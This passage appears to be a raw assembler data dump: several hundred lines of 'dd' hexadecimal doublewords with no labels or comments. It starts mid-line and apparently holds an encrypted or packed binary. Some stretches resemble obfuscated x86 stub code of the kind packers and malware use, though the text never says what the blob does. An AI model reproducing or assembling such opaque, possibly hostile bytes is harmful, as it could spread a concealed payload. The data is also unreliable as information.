7C347231h dd 0AF208C1h, 3F4C6B1Eh, 0E9DCD58Ch, 380BC65Ah, 683E65E5h dd 0E99207AAh, 0C1993130h, 0B0Ch, 0B36B336Fh, 0B26A3C69h dd 0B0683E68h, 0AC643A66h, 0AD654162h, 0CFD4333Dh, 0CAD51FD7h dd 0D2D21CD4h, 0CFD21CD4h, 0FCF717CFh, 96153EE6h, 38B533B3h dd 0C6E0C40Ch, 119F930Fh, 65919FBh, 0D1891D86h, 0CC841A87h dd 7A247D6Fh, 5D4160EAh, 46C0DA5h, 73700000h, 0B998A9F3h dd 9C900FC8h, 1C4A2A50h, 6B866EBCh, 8BBB581h, 9AAEC4B5h dd 9FBB999Bh, 0AF3F673Fh, 3945FFD2h, 42584908h, 427AD535h dd 76BEAF62h, 0DD43592Fh, 9046575Eh, 27B70ADDh, 575E15CFh dd 0E2777346h, 58C3F562h, 3BF7F70h, 0AFCA0000h, 0B581A975h dd 81A9BC57h, 50CE4DB5h, 451CDACDh, 565BE8A6h, 0AD3C3B9Fh dd 3CE3105Ah, 625155D3h, 0CFDD0A1h, 70C3DBC4h, 0ECD0697Fh dd 32E5BB93h, 0ED74C374h, 8159F130h, 0A2Ch, 934B534Fh dd 924A5C49h, 90485E48h, 8C445A46h, 8D456142h, 0EFB4531Dh dd 0EAB5FFB7h, 0F2B2FCB4h, 0EFB2FCB4h, 0DCD7F7AFh, 96145EC6h dd 189513B3h, 0D3CD247Dh, 8B5E3BCBh, 0B79AA7FBh, 59E9B0C6h dd 0EB9EBB99h, 0C52B41FAh, 784C69F8h, 0A6BA72C5h, 0AFC5B695h dd 427108ECh, 3CF5E699h, 510BFE26h, 6DC07346h, 336B347Ch dd 959637Bh, 0D9E74651h, 0A88605F6h, 0E48332BBh, 733371F1h dd 0FBB306E3h, 9BCCEEB1h, 3AAC2972h, 21AB3B0Eh, 938E1E80h dd 3A5CBC14h, 499CD52Ah, 1E0FF2FFh, 70891D65h, 1DE6E30h dd 6EC19E2Eh, 43BD4720h, 7F3DF048h, 24BD6FC0h, 71825AF2h dd 0A000009h, 44E0698h, 34D05A1h, 14B03A3h, 0FD47FF9Fh dd 0D84800A6h, 70366D98h, 6D316EB8h, 6D396BB5h, 68366BB5h dd 7F9590B0h, 0B3961799h, 0B3D14ECCh, 53D2C386h, 3AE2A24h dd 1D0E61B2h, 99004407h, 535AF1BBh, 0CB59CD33h, 0BF07F8CBh dd 85CDBEE0h, 17F4841Ah, 0DDC20CC4h, 0ACDD31C1h, 0EFB4FCEDh dd 0C9F14BD3h, 8053D7F1h, 0CFC013F0h, 71F7F2B9h, 64F4A742h dd 23832169h, 1963B693h, 223829E8h, 484346F1h, 6CF5B366h dd 5E24BDDEh, 8DEEEC6h, 59D0000h, 0E97E199h, 1096E098h dd 0C94DE96h, 1390DA92h, 56BDB93h, 4D05A102h, 4A029C03h dd 4A02A400h, 45FDA100h, 0EC142A25h, 61B39616h, 0C40C66E3h dd 1A8C17E2h, 87DAAD8Ah, 74049A07h, 57E7B7EAh, 9A7EE307h dd 0C9DF9707h, 642FBA8Eh, 1E0E6h, 86B33100h, 0A3BCD2C3h dd 0D4BB93C3h, 0B3AC353Dh, 3C0F2CA1h, 0AB9054ACh, 0D9CA4C6Ch dd 0F3B33DCDh, 0A66823B3h, 0BCB80ABDh, 0B8B0A7A7h, 0AEC46A42h dd 0F000001h, 897A247Dh, 165E6441h, 0A27E94D4h, 26B609DCh dd 0A899059Ch, 0D3634360h, 752976F6h, 25566A22h, 1B538D82h dd 0EEC1985Fh, 0EA8EE7FDh, 0F4A7BB93h, 0CC344A03h, 0A64C6FBDh dd 5003A8FEh, 2A726DFDh, 87D52876h, 4C6FBD5Dh, 1A2A2F2Bh dd 6A41A63Dh, 6A37h, 530C8200h, 16BC98D4h, 71BFC25Dh, 0B581C08Bh dd 61455EBEh, 0C0F13B8Eh, 41571001h, 0B581C0DBh, 9788DB8Eh dd 93A8C081h, 3F61A9BBh, 0E6135C7Bh, 1DF03E8Eh, 7030B08Dh dd 6EC19E2Eh, 2E8616C9h, 4C6F8CFAh, 0D97DFD2h, 6A92A899h dd 0DF4C6F8Ch, 7ADFD92Ch, 41998DCAh, 4C39B86Ah, 709DCA9Ch dd 7C227FFFh, 0DA6729h, 7DB20000h, 60EA7A24h, 0D8D36343h dd 0CBBD4D59h, 0A8BEAB6Ah, 0B5812B40h, 1C6F42F5h, 999059Ch dd 0D6CF227Fh, 726340D0h, 812BB45Ch, 23F6A9B5h, 0FA31B06Bh dd 0E5F7403h, 9AC028EDh, 0D24511E3h, 6643D3D3h, 0F3F24093h dd 0BCB5811Dh, 0E3732B74h, 6E33B306h, 69C03F30h, 469DE3B0h dd 7421C7DDh, 6114B581h, 6F833B8Eh, 0D58E7F42h, 0FF8F178Dh dd 2381CF22h, 0ABB9688h, 6EC1DDC2h, 74C32C9h, 46FDA9FDh dd 0A2759607h, 6C3A69B1h, 316D337Bh, 0B971C4A1h, 0B472346Fh dd 30EF1D21h, 0F9A37B13h, 82000006h, 7CC67E20h, 7BC57D29h dd 79C37B2Bh, 75BF7727h, 50C0782Eh, 0E8BEE520h, 0E5B9E630h dd 0E5C1E32Dh, 0E0BEE32Dh, 0F70D0828h, 0B3966811h, 7D49C644h dd 7EC88026h, 66C37B23h, 0EA7A247Dh, 6C5D4160h, 91217D24h dd 11A961B4h, 5Eh, 0D1A07374h, 0CCD91889h, 9A7707DAh, 0DCCFD47h dd 59C1061Ch, 43F6BB99h, 9D839952h, 0F54C69F8h, 9B4EF3ABh dd 0FBF171E4h, 66B9D247h, 0F47E60ACh, 5A1304C7h, 7F0F8F12h dd 0C4F546BEh, 4A1DFDBBh, 3DCDD9CAh, 87BF0D60h, 0AE4271FAh dd 0D58E41FBh, 515D59BFh, 6590C46h, 4438h, 86B39B00h, 0E4FA8E16h dd 0B581A93Ch, 1BAB7E31h, 647A6B3Eh, 0BB93B89Fh, 928D1DD0h dd 9C180E13h, 18CFB971h, 4B24C89Ah, 0C5AAD3Fh, 4C6C8CD9h dd 47C15A7Ch, 5066573Ah, 427E9D8Bh, 0B95109BCh, 89h, 0C386B31Ch dd 0F69653D2h, 0C9F76714h, 546F8576h, 15BB9997h, 0C3F63596h dd 2E81060Fh, 9F49D689h, 3F2426BDh, 4621480Fh, 482C6Ah dd 0B3770000h, 0BCD2C386h, 0BB995988h, 198D1961h, 0E16E21C6h dd 0BCBE5537h, 6DB0A7A7h, 27C46A47h, 0F000000h, 0D73D530Ch dd 8AB581A9h, 93A84D7h, 243594Ah, 33BB9959h, 6749F380h dd 0B955CED0h, 6A476A9Eh, 14D6h, 1AAF2100h, 0FDB581C5h dd 0C5E1C40Ch, 37055835h, 0FFFFFF36h, 0DF86B39Ah, 0C1E0871Bh dd 0B9704DDDh, 6A3D97DFh, 774C6379h, 0CE81BB99h, 961095DDh dd 22382906h, 4C69D6FAh, 0D969BC6Fh, 990D96DEh, 8FD92C09h dd 98AE9F62h, 427126AEh, 4944D487h, 1E477CAh, 69BCBA4Eh dd 0FB11121Fh, 4651F815h, 8B159548h, 0D3A68313h, 98069AE2h dd 233E5445h, 58484908h, 0E5FBB4A5h, 58390B3Fh, 0A7FF7F32h dd 3F926FFFh, 79F064Eh, 4B0E3B4Fh, 0FB79445Ah, 7B2E5621h dd 4462428Ah, 9C849A53h, 0D152215Bh, 5813CB1Eh, 9588E0D9h dd 29069610h, 4040CE72h, 7D8A9FEDh, 0C1E0AA08h, 0C6DB25DDh dd 0C7F448D8h, 8FD1304h, 2DF4EACAh, 0C6DE465Ch, 3393FCE6h dd 0C6A33373h, 69020F3h, 0EF79099Dh, 775DEDB1h, 0FDFE67Bh dd 0DFC2160Bh, 0E7BD07BFh, 0A52FBFh, 0C9D03FC2h, 8E619003h dd 592F74FEh, 0E6CFDD43h, 0ADD90FCh, 0CB6F07Ah, 7D8F6F15h dd 8818EB83h, 8B160BCDh, 8D5766CDh, 6718EB3Ah, 32EBBCA5h dd 9BE9B5EAh, 0FCE67975h, 62E235E8h, 62AC6442h, 40D46442h dd 0CF543860h, 25CBE19Ah, 18FCE679h, 56E2D881h, 0A97C9B1Ah dd 0D8CED656h, 9BB3C320h, 7E50CFC0h, 3D613F72h, 6192F386h dd 8CDFBFE1h, 6F2F72FCh, 64FDF9DFh, 3FF7C4EAh, 65F2ACF5h dd 0D9B4D8BBh, 0D8CED820h, 0F71D6B48h, 6AB58183h, 0F16A64B7h dd 641E8021h, 93238322h, 8183D53Bh, 0C0595DB5h, 0DD2D9510h dd 0F1176BE1h, 0B4FEB689h, 2B26B6F0h, 0CFFC3E3h, 1D749681h dd 0A27F0FE2h, 0AA24014Fh, 0A2A6B581h, 8F69E8B9h, 81C8093Dh dd 0FF8F178Dh, 7CFC4F22h, 0AEC67E28h, 0B581D281h, 0C31C3C88h dd 735A642Fh, 0A5FFFFFFh, 0C27A247Dh, 0E8752978h, 0B8455948h dd 9F73E8A4h, 0D4E29C02h, 642FBE83h, 3BF1h, 8D0C3C00h dd 7C7EBF00h, 4D97EA0Eh, 65CF793Ch, 0E5947749h, 3B0B2112h dd 0FABB9923h, 2D10BA47h, 2CDA3FFBh, 354B3C1Fh, 42719311h dd 911590D8h, 2CD12401h, 472FBF79h, 92000000h, 0D2C386B3h dd 88186019h, 5BA98616h, 0B581A9B5h, 2E75F5A8h, 0EFD72578h dd 0C6BB9959h, 80DC8613h, 16302923h, 0AF208E5h, 3F4C69F8h dd 585BDEA8h, 60338DC5h, 40869C8Dh, 2942713Ch, 50E0BEE1h dd 0C87B2073h, 0C40CB90Eh, 5431C1DDh, 7E208101h, 4660458Dh dd 0F686D9B6h, 7869356Ch, 0A943A9BFh, 43F6B581h, 0A9D43C52h dd 0D689B581h, 8AB7CB83h, 0D7C0D6C7h, 80BB93C5h, 4D208620h dd 678DA35Ch, 0DA4C6C4Ch, 0EC44D427h, 4C6C4C38h, 0DA8F9490h dd 2921492h, 0D186D225h, 0A36A41D5h, 3Eh, 46584890h, 0F386D9B6h dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 0FAF7AAF2h, 9626F9A5h dd 0CC1866B9h, 0BC4C6C41h, 0D9C810C9h, 419177C5h, 11C44C6Ch dd 0AF5FC4BEh, 6A41D6A8h, 0F2CCh, 247D1700h, 70EFEA7Ah dd 0C4B9E42Bh, 7F80524Ah, 0AB21390Ah, 9E0585D8h, 0B3EE7808h dd 0D0D15BEBh, 1195DDCEh, 0D5280595h, 10E3621Dh, 0A24A6078h dd 97B581F7h, 93EF2DE4h, 1DBC0A5Dh, 67B58194h, 0F1AC643Ah dd 9CFA2238h, 0BC6FB581h, 0E6B8E969h, 69376F5h, 2808BA1Dh dd 0CB4A45D5h, 0FE243E96h, 0BF095C34h, 25DECFB2h, 289BAAA6h dd 6594DE7h, 93E8C3B8h, 0D0C174BBh, 0F8881E88h, 0FC10C81Bh dd 621B0CCFh, 0AB6D93A9h, 2DE04C6Fh, 5AD68CDAh, 0B4674278h dd 7E287BC3h, 408C0BC6h, 54F1BE90h, 23800053h, 0DA28C583h dd 821A3ADAh, 1D7AAh, 0A0FEA400h, 9F079EE8h, 9D099DE7h dd 99059BE5h, 9A0C97E1h, 7FE72E2h, 8520A9Ch, 54F0797h dd 54F079Fh, 2A4A029Ch, 6FF3192Fh, 0E866B396h, 80267D6Bh dd 488E0DC8h, 0C0BCC27Eh, 5A47C71Ah, 0C2F8C44h, 0A9D73D53h dd 0D78AB581h, 4A093A84h, 0C1864359h, 4B7BB93h, 41C81C74h dd 0CDC04C6Ch, 0F5852185h, 56CBC518h, 0C7D7C911h, 0D72F2874h dd 0CE166A41h, 0B87ACDD1h, 0D9h, 0CD247D03h, 0E017CED8h dd 1135A9Dh, 840E9E71h, 9FF7871Fh, 0B5817630h, 8F47574Ah dd 0B2425C45h, 800038B7h, 7CE40A7Eh, 42D2DF29h, 7F704363h dd 93771069h, 1591D9BBh, 57E7BFE4h, 3A17A77Ah, 0E4586683h dd 0D72A65C8h, 0CC77F32h, 0A5D73D53h, 0D78A4C6Fh, 0A528D0E6h dd 6A1D4C6Fh, 0DDBCCD17h, 583BD6ECh, 5D104278h, 277F246Ch dd 0A7E256Fh, 58C80CF4h, 0BB8E4146h, 0DA5016FDh, 0D8B0483Ah dd 0D8h, 0E79FFFA3h, 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah dd 0E1990D96h, 9B08FF71h, 9609530Bh, 9E065008h, 9B065008h dd 302B4B03h, 966EF21Ah, 6CE967B3h, 965E8D0Ch, 8CBE2EE8h dd 0BCEAB939h, 0B7E7BA04h, 49C544FFh, 0FCA2FEA8h, 0B7DB3945h dd 0A5048976h, 0ED401300h, 7A247D5Ah, 5D4160EAh, 58465BA5h dd 89DE5A0h, 0DE310E9Eh, 6A5B435Eh, 33248222h, 81A9F71Dh dd 64B76AB5h, 96E7CD4h, 5C58E0C9h, 108E13C7h, 0A850661Fh dd 9D613908h, 95DF97EAh, 59A1920Ch, 0EDCA5A4Ch, 20800A9Ah dd 5C458D7Eh, 82D5B242h, 0BE3B68F2h, 4F2CBCE2h, 4162EC7Ch dd 2244D565h, 0B2B68639h, 663869A9h, 7EA6BC75h, 0F3613908h dd 0EB35ED40h, 0AFF7E8B6h, 0C959ACF2h, 3F1h, 13AE5400h dd 0E979257Dh, 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh dd 6BFBABF8h, 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 25CA6839h dd 8F540000h, 4832404h, 89530424h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 2434895Ch, 3B4E68h, 241C8900h, 0A5064DBEh dd 0C0E68146h, 8166AA39h, 195916EEh, 9ABF5736h, 2905923Ah dd 0C6815FFEh, 139C1D5Ah, 275CC681h, 0EC83E787h, 24248904h dd 4240483h, 6E0F685Bh, 34890000h, 8438F24h, 5B2434FFh dd 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 0FB824DE9h dd 77456DFFh, 8D6ADC23h, 23B8988Ah, 30617C8h, 7DE0FFC5h dd 3878B9A6h, 0AC4233A8h, 1C2A8B4Dh, 0B2491A1h, 9A3B1006h dd 30308BE0h, 0AE35A2F7h, 0CF447667h, 8B6BF54Ch, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0EE44DA86h, 6635BD32h, 0B6E34DBBh, 91BD83D3h, 6121Bh dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h, 3FCh, 858589h dd 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h dd 0B8535017h, 3FCh, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh dd 6890Fh, 0D2810000h, 33812550h, 2820Fh, 0FEB70000h, 0E680C08Bh dd 0ADBD83E9h, 1061207h, 6F840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F4B3FC3h dd 688h, 0BFDA8100h, 8340291Dh, 120971BDh, 850F0006h, 39h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h dd 0CD7813BDh, 0BD836B39h, 6120D99h, 51840F00h, 0E9000000h dd 5, 4F748EDBh, 31FE9E8h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 7DC3h, 0DD8A0000h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4CC35545h dd 0CD1320CBh, 7FDC7CCAh, 0B506CFB4h, 0B56F2187h, 0EB4CC9E8h dd 0C1E597B7h, 0F1EDCD1Eh, 0B57ACD39h, 0E32AC98Eh, 7F926B84h dd 38B376ACh, 0A0254F54h, 77EDAFEEh, 6593CC0Dh, 1CE3ABBh dd 0B18588D5h, 0DF6CC98Ah, 0B6849A47h, 956CC9A3h, 3C370A8Ah dd 3468EDB4h, 0A868ED30h, 0F66CC93Ah, 0A5E70A4Eh, 0A7EB3D73h dd 4D2F71CFh, 5CBD7EACh, 0B56CC9C3h, 5C3CAF97h, 0C31C08E8h dd 0DCF2050Fh, 4B3420Dh, 5D393375h, 0B56CC947h, 38148FEh dd 0D36ADE1Bh, 0F5C72A69h, 0B56F497Bh, 493BC93Ah, 0D5AC4246h dd 0B56F4281h, 3E0AC947h, 0D4339F53h, 0EAD7AF41h, 62E7999Bh dd 0E36CA3E4h, 0B56CCAD2h, 7632E91Dh, 911840D0h, 91284843h dd 0B56CDDA7h, 763A8FD1h, 0BBAE48C2h, 0BA2DDBE0h, 4B48853Bh dd 5D3EC977h, 0B56CC98Dh, 0EFAF9367h, 0B1489D2Ah, 0B1488D50h dd 0B56CC9FDh, 73AF9B36h, 0B50691E9h, 0B56F214Eh, 0EE4CC98Eh dd 0E9E59284h, 0F1EDCD87h, 0B578CDF5h, 0E62FC9E8h, 0B969F2B7h dd 0E6CC938h, 0BBCD8D4Dh, 0B506C105h, 0B56F2117h, 0ED4CC9A3h dd 0F1E59112h, 0F1EDCDCCh, 0B577CD50h, 0E52CC93Ah, 0F9092CDEh dd 0C87E1312h, 0B0E9C6FBh, 0E6CC9A3h, 80DC3F07h, 3E0A92B8h dd 0BE85353Ch, 0BB6CC93Ah, 1675F9A6h, 73104542h, 0B4D4503Dh dd 0E26CC9A3h, 0C9BF498Bh, 66E7AF79h, 24447A24h, 5D3EC950h dd 0B56CC91Eh, 0EFAF93AEh, 0B1489DCEh, 0B1488D22h, 0B56CC9C5h dd 42AF9BAAh, 0EBEA5DCEh, 6CE0AF72h, 5D3FC977h, 0B56CC98Dh dd 0EEAF9267h, 0B148952Ah, 0B1488D50h, 0B56CC9F1h, 0D3AF9A37h dd 0E26F8548h, 0B5622091h, 0C58C98Eh, 54FCFF9Ah, 1F57CEB2h dd 1560733Bh, 0BA68081Eh, 0B56C5EF1h, 4863723Ah, 3359C0Eh dd 0DD5549E9h, 0B5994C48h, 340AC9A3h, 3E5AB233h, 65E7C891h dd 0B56C36F5h, 3763493Ah, 0B56CC9C2h, 30AB1F05h, 0B37B034Bh dd 0B56CC9A2h, 35BF7EDEh, 7F85880Bh, 0DF6CC974h, 0B684983Ah dd 956CC91Dh, 3C350AD7h, 3468ED0Bh, 0AD68EDE7h, 0F46CC9D1h dd 7290AB9h, 0E78CD804h, 0B5CD2061h, 0B506C91Dh, 0B56F21D9h dd 0EA4CC947h, 0C9E59660h, 0F1EDCDF5h, 0B57BCDCCh, 0E22BC974h dd 353F5FF9h, 0B5622033h, 0A3A5C98Eh, 9AC4A3AEh, 1DFFDEEBh dd 311DD06Fh, 0E06CA3B1h, 0B56CCA9Ch, 7631E93Ah, 91004040h dd 9128488Ah, 0B56CD343h, 76398CA3h, 0B13C02CDh, 0D3F89FFDh dd 4A67B0F7h, 0B52D4D35h, 0B506C91Dh, 0B56F21DBh, 0E84CC947h dd 0D9E59460h, 0F1EDCDF5h, 0B574CDCCh, 0E029C974h, 0F24A3CF9h dd 0BA0C94C2h, 0A630F39h, 5C3AA8B0h, 0B56CC9ABh, 8CB6047Ah dd 4A9C97B2h, 0B9E90E2Fh, 0B46ADEF0h, 0FD6CC91Dh, 43DC7077h dd 30E1BD1Ah, 0B37B0767h, 7847745Ch, 4D57CFFFh, 0BA5CCE00h dd 5E2B00EBh, 0E56CA3E8h, 0B56CCA66h, 7634E947h, 912840FBh dd 912848D5h, 0B56CD4ECh, 763C8974h, 4133D7h, 2AF0B69Eh dd 350C94EDh, 0BA3F78ACh, 0D4353014h, 8EF1A67h, 0B37ECE45h dd 0F5E8C675h, 0DF6CC93Ah, 0B684981Dh, 956CC98Eh, 3C350A1Eh dd 3468EDEFh, 0A368ED95h, 0F46CC9E8h, 644B0A25h, 0C4D14A9Ah dd 0B56ADB14h, 0B5794C81h, 0F0AC947h, 8EF9CC6h, 0B37EC448h dd 0A6E8C6E8h, 0D36CC974h, 5C5CEF80h, 0B56CC9DAh, 1D9E48DDh dd 0EF0DD0FEh, 8EFCB11h, 0B37ECE7Ch, 16E9C6E9h, 0DF6CC974h dd 0B6849F3Ah, 956CC91Dh, 3C320AD0h, 3468ED33h, 0AF68EDE7h dd 0F36CC9D1h, 44D10ABEh, 0A7776326h, 0F9E73CEh, 0DF31F553h dd 0B684988Eh, 956CC947h, 3C350AFAh, 3468ED9Dh, 0AE68EDACh dd 0F46CC974h, 56100A6Bh, 0E688D643h, 0DFAFF0A0h, 0B6849E47h dd 956CC9A3h, 3C330A8Eh, 3468ED94h, 0A968ED30h, 0F26CC93Ah dd 0CF990A4Ah, 0AD6EEF38h, 0F811F18h, 0B2B761E7h, 0B56CFF38h dd 0E46CA3E8h, 0B56CCA9Ch, 7635E93Ah, 91204044h, 9128488Ah dd 0B56CDF43h, 763D88A3h, 5C09B724h, 0B56CC9EEh, 67AA6D69h dd 3431027Dh, 6C171ADFh, 353F06B2h, 3836EE9Ch, 0A2A6FB1Eh dd 24E144D7h, 0D6ADE26h, 0CE569569h, 0A6E94C09h, 7A47CF0Fh dd 1A43DC70h, 6730E1BDh, 5CB37B07h, 0FF784774h, 4D57CFh dd 0EBBA5CCEh, 835E2B00h, 0A4F305E9h, 0CA0CBD83h, 74000617h dd 0B58D8D0Dh, 0B806124Dh, 1, 0F40E1FFh, 1C81h, 16860F00h dd 0E9000000h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h dd 0D381664Fh, 6A785Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0FBC7F4C3h, 19AC6320h, 0D3BF0FA7h dd 6A2DE883h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 8B39C357h, 0C08B8636h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B9C35040h, 0E590BA66h dd 0B4A2F3Ah, 91BD83D8h, 6121Bh, 0BD830975h, 61217DDh dd 50197400h, 0B8C08B53h, 3FCh, 22958589h, 9D8D0612h, 614AE76h dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h, 3FCh, 22958589h dd 9D8D0612h, 614AB17h, 585BD3FFh, 6850Fh, 0DA810000h dd 1DD59F59h, 8BDA8B66h, 0EE8C0h, 76DD0000h, 2C08FF38h dd 96E20D3Dh, 0ACBC2AA2h, 5FC28B66h, 81F3BF0Fh, 731EC7h dd 12E900h, 0D020000h, 61BF4F81h, 67261554h, 737D13D0h dd 87A9F9Dh, 0B5F2B8BBh, 1AEB817Ah, 0E97AB5D6h, 0Ah, 0D521495Dh dd 0D88ACDDBh, 0F8B1621h, 0F181C38Bh, 473A2D8h, 0C181D58Ah dd 3F65F938h, 0C181E78Ah, 0FAEA041h, 0C38B51F9h, 0F08B078Fh dd 6604EF83h, 4BB1CABEh, 19850Fh, 29E90000h, 72000000h dd 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh, 1E87F036h, 665EF87Ch dd 0E9E484BAh, 0FFFFFFAEh, 8A9F2DD4h, 0EAEC132h, 0CAD25BA3h dd 2AE9h, 6052D00h, 1Bh, 8 dup(0) dd 0E9000000h, 0BA4h, 17D21D68h, 7A54E906h, 0FA68FFFBh dd 0E90617D2h, 0FFFB7A4Ah, 17D45568h, 7A40E906h, 5F68FFFBh dd 0E90617D5h, 0FFFB7A36h, 17D86568h, 7A2CE906h, 0C768FFFBh dd 0E90617D9h, 0FFFB7A22h, 17DAC768h, 7A18E906h, 455DFFFBh dd 4E57A159h, 5056A058h, 4C549E56h, 53509A52h, 452B9B53h dd 0DC5E1C2h, 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h, 2CD4EAE5h dd 21B39679h, 247D26A3h, 3BCBD3CDh, 71FB8B5Eh, 0A2B66E30h dd 0ABC1B291h, 0BB93C5CAh, 0E980B6Bh, 12914A3Bh, 0B6C3E045h dd 22CA18C6h, 174C6C35h, 35C83046h, 0CA7D4C6Ch, 0BC14A4F7h dd 4C6C3568h, 1F877232h, 9A24B487h, 2F0C9C0Ah, 788EF2AFh dd 4C6C3590h, 0AF3F12C5h, 0E1277F25h, 0CF21A4BDh, 99BE4ED3h dd 0DB6A421Eh, 2Fh, 0C386B326h, 0C10FBCD2h, 7D30BB93h dd 415395EDh, 960B4C6Ch, 0B6EE7808h, 828660F0h, 36683999h dd 0C151163h, 41D65700h, 0B21D6Ah, 7D680000h, 60EA7A24h dd 49D36343h, 2CB64658h, 0FAC44575h, 0C6226852h, 0DE233BF3h dd 0B4B58156h, 79F04EDh, 5A180016h, 9A4DB581h, 0DCC50FC7h dd 8352D1C2h, 0C2A60D5Ch, 0CD21B104h, 0A4ECDDBCh, 3613A3FBh dd 0B7DCF2E3h, 0A8BB9303h, 18293DF5h, 0C1583755h, 7BE224Ch dd 65CA3D50h, 1304D76Ch, 78141AFDh, 9B8C3F42h, 9E565053h dd 99574F54h, 3ADAC46Ch, 6716EE86h, 9A000009h, 94DE9608h dd 93DD9511h, 91DB9313h, 8DD78F0Fh, 68D89016h, 0A6FD08h dd 0FDA1FE48h, 0FDA9FB45h, 0F8A6FB45h, 0F252040h, 0B3967BE9h dd 7D61DE5Ch, 7EC88026h, 66C37B23h, 0D2C386B3h, 0A24A6019h dd 97B581A9h, 864391E4h, 0B7BB93C1h, 0C6564857h, 6C2516E9h dd 6C41AE56h, 9DF0A34Ch, 4173B50Dh, 5D594C6Ch, 0B224A3C4h dd 4EC02A9h, 394C6C39h, 39EFCF86h, 95C20E61h, 0DF6A41EEh dd 9Ah, 0DDC40C2Ah, 0B3EE6EC1h, 0D2D15BEBh, 14944D4h, 9370009Eh dd 0AE29F240h, 1E83B581h, 42D2CCD3h, 5D37AE65h, 961F34B1h dd 0E0C10BC3h, 0A9DA2EBEh, 0BEE3F9EAh, 0AF446C5Ch, 33044FCh dd 0E9394F40h, 8C427BA2h, 3A0E8D9h, 20F3ABF6h, 21851E68h dd 0DA1A1463h, 0D6AE463Ah, 88Ah, 0BB732B77h, 0BA723471h dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 967B06EEh, 40BD3BB3h dd 0C880267Dh, 0C4DAC50Dh, 0EEB0F171h, 247DD936h, 4160EA7Ah dd 0A9C3293Fh, 0C376B581h, 172438F0h, 0A6FB4334h, 6CCAE214h dd 683B16CDh, 0B7A8FBD8h, 0B5E9B6FEh, 0A7F54825h, 0BB9303C2h dd 50CFC073h, 9A7D59EFh, 5C4A5BA1h, 0C91CEFCCh, 0FFF2AF39h dd 8F6CFCA2h, 0E7BA04BCh, 0CFCF27B7h, 0BFB0EBFAh, 852184CCh dd 0EF233832h, 0EA34ECB2h, 0FF57E7B7h, 0D3EBBD26h, 0D0918AAEh dd 5A5ACC51h, 0FD50CDEEh, 0C27A247Dh, 0E5752978h, 0EB0C5E8Dh dd 7ADF01D3h, 0DB930B96h, 0FE8E1091h, 0C9BA99AAh, 0F97ED2B3h dd 0F8B063DDh, 3F4D7E4h, 0CBC56CEDh, 703191DBh, 0C412FA10h dd 9447EFC7h, 65EEEC1h, 0EFC7C421h, 98B4ADA9h, 9E94DBFh dd 4B8B5h, 0BB730000h, 80715061h, 0A7376738h, 708677CAh dd 0BB93D227h, 64AC9D50h, 0FAD7673Fh, 0A0DDEDA7h, 0F06BBCACh dd 0C70F00C3h, 8677CADCh, 8DCCA770h, 8D1DD0A6h, 58490839h dd 98000142h, 928336ACh, 0F548564Ah, 9C034B04h, 42957202h dd 7BFDFC2h, 0FCBAE4BDh, 0D9FAF8E7h, 2F653DD5h, 0D2000007h dd 0CC16CED0h, 0CB15CDD9h, 0C913CBDBh, 0C50FC7D7h, 0A010C8DEh dd 386E35D0h, 35693680h, 3571337Dh, 306E337Dh, 475D5878h dd 0B3967DA1h, 7D991694h, 0CED8CD24h, 0F1706BFBh, 673C118Bh dd 1BD2AF3Fh, 4A9D402Bh, 32E6DCCAh, 542FC0FDh, 67F7AFF4h dd 2CE4B78Ah, 0E094h, 84B3F700h, 0DB2334C1h, 8ADDC9h, 198D1868h dd 90788E89h, 0C5B581A9h, 94129212h, 39221E04h, 0EE362F86h dd 41653EB3h, 38211B6Eh, 2FBA4B0Ch, 642964h, 0B3740000h dd 0BAD0C184h, 0B581A96Dh, 3DC7570Ah, 0C7823A64h, 0EC7C227Fh dd 653CBC0Fh, 66AEA939h, 0BFE7BC3Dh, 2C7F522Fh, 1F2D1E2h dd 93CA2AEBh, 0A7984BBBh, 0CE5E405Fh, 0B20E9EF1h, 0B6A1ADB6h dd 0BE6A41D5h, 1Eh, 654163ABh, 530C7F12h, 81A9D73Dh, 0A3B98AB5h dd 0B581A97Dh, 176A3DF0h, 0FF49h, 86B3AC00h, 0FFBCD2C3h dd 0A0BB93D6h, 85342FEDh, 66FE30EEh, 6258Eh, 0D8C6DC00h dd 0D7CFD620h, 0D5D1D51Fh, 0D1CDD31Dh, 0D2D4CF19h, 3FC6AA1Ah dd 408A4264h, 3D873F5Fh, 3D873F67h, 62823A64h, 7CAB5167h dd 209EB396h, 0C184B3A3h, 0FC418A34h, 3E368403h, 0F93F44C0h dd 3728FBABh, 817FFB21h, 68BB6EB5h, 0FE59F56Eh, 76642EE8h dd 75h, 18861B63h, 84B332C5h, 117D0C1h, 0B581A91Bh, 0BB489B4Eh dd 8881C611h, 0F256340h, 0B581A9E9h, 46D6A95Ch, 71C1669h dd 2FBE5007h, 432464h, 0B36F0000h, 8A34C184h, 0ACFAAA6Ah dd 0E50B211Ch, 58B581A9h, 258125A5h, 0A2B7BB95h, 59C2C41Bh dd 81B140ABh, 6D93A9B5h, 0E04A7E51h, 0EA695A2Dh, 861F5F5Ah dd 0E7876920h, 256A2F5h, 